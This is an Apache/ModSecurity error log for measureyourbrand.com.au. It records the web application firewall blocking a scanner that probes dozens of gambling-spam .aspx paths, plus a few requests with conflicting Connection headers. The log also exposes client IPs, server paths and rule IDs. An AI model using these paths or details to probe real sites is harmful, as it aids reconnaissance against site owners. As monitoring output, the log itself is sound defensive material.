[Mon Feb 16 12:45:14.909945 2026] [:error] [pid 4455:tid 4464] [client 43.153.71.132:49078] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZKg2gNa-4dvQCL0ruoMGAAAAMc"]
[Mon Feb 16 13:45:36.789719 2026] [autoindex:error] [pid 4348:tid 4402] [client 207.180.241.56:60188] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Feb 16 14:08:28.041597 2026] [:error] [pid 4349:tid 4429] [client 49.235.136.28:53002] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZK0XMrbZYafUL_3QfyVuAAAAIc"]
[Mon Feb 16 15:02:54.909160 2026] [:error] [pid 37004:tid 37024] [client 135.181.213.219:40188] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZLBHlXWqA9gxE5oGmbbcQAAARI"]
[Mon Feb 16 15:02:57.226665 2026] [:error] [pid 4349:tid 4442] [client 135.181.213.219:40196] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZLBIcrbZYafUL_3QfymBgAAAJQ"]
[Mon Feb 16 15:02:59.796412 2026] [:error] [pid 26648:tid 26669] [client 135.181.213.219:40212] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZLBIzT55fUixS3gmyjBCgAAAZA"]
[Mon Feb 16 15:03:02.255909 2026] [:error] [pid 4349:tid 4437] [client 135.181.213.219:1220] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZLBJsrbZYafUL_3QfymEQAAAI8"]
[Mon Feb 16 15:03:04.743037 2026] [:error] [pid 4349:tid 4433] [client 135.181.213.219:1230] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZLBKMrbZYafUL_3QfymFQAAAIs"]
[Mon Feb 16 15:03:07.347375 2026] [:error] [pid 4347:tid 4369] [client 135.181.213.219:1236] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZLBKzFcjv6pEAnSEidVswAAAAE"]
[Mon Feb 16 15:03:09.837162 2026] [:error] [pid 4348:tid 4403] [client 135.181.213.219:1252] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZLBLXxbK-cCGKg9aytDJAAAAEg"]
[Mon Feb 16 15:03:12.453187 2026] [:error] [pid 26648:tid 26656] [client 135.181.213.219:40698] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZLBMDT55fUixS3gmyjBFgAAAYM"]
[Mon Feb 16 15:03:14.936263 2026] [:error] [pid 26648:tid 26667] [client 135.181.213.219:40712] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZLBMjT55fUixS3gmyjBHQAAAY4"]
[Mon Feb 16 15:03:17.407075 2026] [:error] [pid 38888:tid 38905] [client 135.181.213.219:40720] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZLBNamDoBJWPvV4pcP0YQAAAU4"]
[Mon Feb 16 15:03:20.010117 2026] [:error] [pid 26648:tid 26676] [client 135.181.213.219:40724] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZLBODT55fUixS3gmyjBKwAAAZc"]
[Mon Feb 16 15:03:22.628632 2026] [:error] [pid 4347:tid 4381] [client 135.181.213.219:2184] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZLBOjFcjv6pEAnSEidVywAAAA0"]
[Mon Feb 16 15:03:25.217870 2026] [:error] [pid 4347:tid 4384] [client 135.181.213.219:2196] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZLBPTFcjv6pEAnSEidV1gAAABA"]
[Mon Feb 16 15:03:27.697413 2026] [:error] [pid 4348:tid 4406] [client 135.181.213.219:2208] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZLBP3xbK-cCGKg9aytDMwAAAEs"]
[Mon Feb 16 15:03:30.179644 2026] [:error] [pid 4348:tid 4411] [client 135.181.213.219:2220] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZLBQnxbK-cCGKg9aytDPQAAAFA"]
[Mon Feb 16 15:03:32.644680 2026] [:error] [pid 4347:tid 4379] [client 135.181.213.219:50554] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZLBRDFcjv6pEAnSEidV3gAAAAs"]
[Mon Feb 16 15:03:35.265179 2026] [:error] [pid 4348:tid 4413] [client 135.181.213.219:50562] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZLBR3xbK-cCGKg9aytDRQAAAFI"]
[Mon Feb 16 15:03:37.879294 2026] [:error] [pid 4348:tid 4417] [client 135.181.213.219:50570] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZLBSXxbK-cCGKg9aytDSgAAAFY"]
[Mon Feb 16 15:03:40.504326 2026] [:error] [pid 4349:tid 4430] [client 135.181.213.219:43058] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZLBTMrbZYafUL_3QfymNgAAAIg"]
[Mon Feb 16 15:03:43.111269 2026] [:error] [pid 4455:tid 4476] [client 135.181.213.219:43070] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZLBTwNa-4dvQCL0ruoyxwAAANM"]
[Mon Feb 16 15:03:45.726685 2026] [:error] [pid 4347:tid 4379] [client 135.181.213.219:43072] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZLBUTFcjv6pEAnSEidV6QAAAAs"]
[Mon Feb 16 15:03:48.184203 2026] [:error] [pid 4455:tid 4463] [client 135.181.213.219:43074] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZLBVANa-4dvQCL0ruoy0gAAAMY"]
[Mon Feb 16 15:03:50.673259 2026] [:error] [pid 4455:tid 4469] [client 135.181.213.219:49494] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZLBVgNa-4dvQCL0ruoy2AAAAMw"]
[Mon Feb 16 15:04:21.339741 2026] [:error] [pid 4455:tid 4473] [client 135.181.213.219:55066] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZLBdQNa-4dvQCL0ruozGAAAANA"]
[Mon Feb 16 15:04:23.968942 2026] [:error] [pid 37004:tid 37011] [client 135.181.213.219:55070] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZLBd1XWqA9gxE5oGmbb5gAAAQU"]
[Mon Feb 16 15:04:26.446188 2026] [:error] [pid 38888:tid 38896] [client 135.181.213.219:55086] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZLBeqmDoBJWPvV4pcP0ywAAAUU"]
[Mon Feb 16 15:04:28.941719 2026] [:error] [pid 4348:tid 4402] [client 135.181.213.219:55090] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZLBfHxbK-cCGKg9aytDmQAAAEc"]
[Mon Feb 16 15:04:31.535566 2026] [:error] [pid 26648:tid 26664] [client 135.181.213.219:63556] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZLBfzT55fUixS3gmyjB5AAAAYs"]
[Mon Feb 16 15:04:34.052060 2026] [:error] [pid 26648:tid 26659] [client 135.181.213.219:63568] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZLBgjT55fUixS3gmyjB6QAAAYY"]
[Mon Feb 16 15:04:36.520312 2026] [:error] [pid 26648:tid 26674] [client 135.181.213.219:63578] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZLBhDT55fUixS3gmyjB8AAAAZU"]
[Mon Feb 16 15:04:39.005565 2026] [:error] [pid 4455:tid 4471] [client 135.181.213.219:63590] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZLBhwNa-4dvQCL0ruozLgAAAM4"]
[Mon Feb 16 15:04:41.492716 2026] [:error] [pid 26648:tid 26666] [client 135.181.213.219:53004] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZLBiTT55fUixS3gmyjCBwAAAY0"]
[Mon Feb 16 15:04:44.047641 2026] [:error] [pid 4348:tid 4413] [client 135.181.213.219:53010] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZLBjHxbK-cCGKg9aytDpQAAAFI"]
[Mon Feb 16 15:04:46.442977 2026] [:error] [pid 4347:tid 4376] [client 135.181.213.219:53014] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZLBjjFcjv6pEAnSEidWZwAAAAg"]
[Mon Feb 16 15:04:49.091136 2026] [:error] [pid 4455:tid 4481] [client 135.181.213.219:53018] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZLBkQNa-4dvQCL0ruozPwAAANg"]
[Mon Feb 16 15:04:51.590967 2026] [:error] [pid 26648:tid 26675] [client 135.181.213.219:59090] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZLBkzT55fUixS3gmyjCGwAAAZY"]
[Mon Feb 16 15:04:54.191672 2026] [:error] [pid 4455:tid 4479] [client 135.181.213.219:59100] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZLBlgNa-4dvQCL0ruozTgAAANY"]
[Mon Feb 16 15:04:56.679807 2026] [:error] [pid 38888:tid 38895] [client 135.181.213.219:59102] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZLBmKmDoBJWPvV4pcP1CQAAAUQ"]
[Mon Feb 16 15:04:59.022176 2026] [:error] [pid 38888:tid 38901] [client 135.181.213.219:59104] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZLBm6mDoBJWPvV4pcP1DQAAAUo"]
[Mon Feb 16 15:05:01.630745 2026] [:error] [pid 26648:tid 26671] [client 135.181.213.219:45040] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZLBnTT55fUixS3gmyjCUwAAAZI"]
[Mon Feb 16 15:05:03.958395 2026] [:error] [pid 26648:tid 26656] [client 135.181.213.219:45056] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZLBnzT55fUixS3gmyjCWAAAAYM"]
[Mon Feb 16 15:05:06.431672 2026] [:error] [pid 4349:tid 4445] [client 135.181.213.219:45060] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZLBosrbZYafUL_3QfymrgAAAJc"]
[Mon Feb 16 15:05:08.906905 2026] [:error] [pid 4348:tid 4395] [client 135.181.213.219:45066] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZLBpHxbK-cCGKg9aytD2gAAAEA"]
[Mon Feb 16 15:05:11.366125 2026] [:error] [pid 38888:tid 38905] [client 135.181.213.219:2518] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZLBp6mDoBJWPvV4pcP1HQAAAU4"]
[Mon Feb 16 15:05:13.825747 2026] [:error] [pid 4455:tid 4474] [client 135.181.213.219:2534] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZLBqQNa-4dvQCL0ruoziAAAANE"]
[Mon Feb 16 15:05:16.310784 2026] [:error] [pid 26648:tid 26658] [client 135.181.213.219:2536] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZLBrDT55fUixS3gmyjCiwAAAYU"]
[Mon Feb 16 15:05:46.950885 2026] [:error] [pid 26648:tid 26663] [client 135.181.213.219:8710] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZLByjT55fUixS3gmyjCvgAAAYo"]
[Mon Feb 16 15:05:49.437111 2026] [:error] [pid 26648:tid 26670] [client 135.181.213.219:8724] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZLBzTT55fUixS3gmyjCxAAAAZE"]
[Mon Feb 16 15:05:51.951718 2026] [:error] [pid 38888:tid 38894] [client 135.181.213.219:31940] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZLBz6mDoBJWPvV4pcP1kAAAAUM"]
[Mon Feb 16 15:05:54.469976 2026] [:error] [pid 4349:tid 4439] [client 135.181.213.219:31952] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZLB0srbZYafUL_3Qfym2QAAAJE"]
[Mon Feb 16 15:05:57.021504 2026] [:error] [pid 38888:tid 38891] [client 135.181.213.219:31958] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZLB1amDoBJWPvV4pcP1lwAAAUA"]
